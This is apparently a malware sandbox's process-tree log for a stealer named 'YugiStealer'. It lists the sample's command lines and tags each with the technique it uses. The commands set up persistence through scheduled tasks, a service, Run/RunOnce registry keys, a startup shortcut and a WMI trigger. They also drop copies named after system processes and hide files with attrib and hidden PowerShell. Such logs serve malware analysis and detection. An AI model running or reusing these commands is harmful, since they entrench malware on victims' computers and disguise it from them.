C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\svchost.exe\" start= auto"2⤵
-
C:\Windows\System32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\svchost.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\svchost.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\svchost.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\svchost.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\svchost.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\AccPi4X6\TraumatizerV3.exe"C:\Windows\Temp\AccPi4X6\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\AccPi4X6\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\AccPi4X6\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\AccPi4X6\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\AccPi4X6\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\AccPi4X6\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\AccPi4X6\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\AccPi4X6\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\AccPi4X6\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16837.bat"3⤵
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\System32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\Temp\lsass.exe"C:\Windows\Temp\lsass.exe"1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onstart /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\lsass.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\lsass.exe\" }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\lsass.exe\" start= auto"2⤵
-
C:\Windows\System32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\lsass.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\kjnbC3Ja\TraumatizerV3.exe"C:\Windows\Temp\kjnbC3Ja\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\kjnbC3Ja\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\kjnbC3Ja\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\kjnbC3Ja\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\kjnbC3Ja\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\kjnbC3Ja\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\kjnbC3Ja\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\kjnbC3Ja\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\kjnbC3Ja\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\System32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Users\Public\Documents\services.exe"C:\Users\Public\Documents\services.exe"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\services.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\services.exe\" }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\services.exe\" start= auto"2⤵
-
C:\Windows\System32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\services.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\services.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\services.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\services.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\services.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\xa0ntqYl\TraumatizerV3.exe"C:\Windows\Temp\xa0ntqYl\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\xa0ntqYl\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\xa0ntqYl\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\xa0ntqYl\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\xa0ntqYl\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\xa0ntqYl\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\xa0ntqYl\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\xa0ntqYl\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\xa0ntqYl\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\System32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
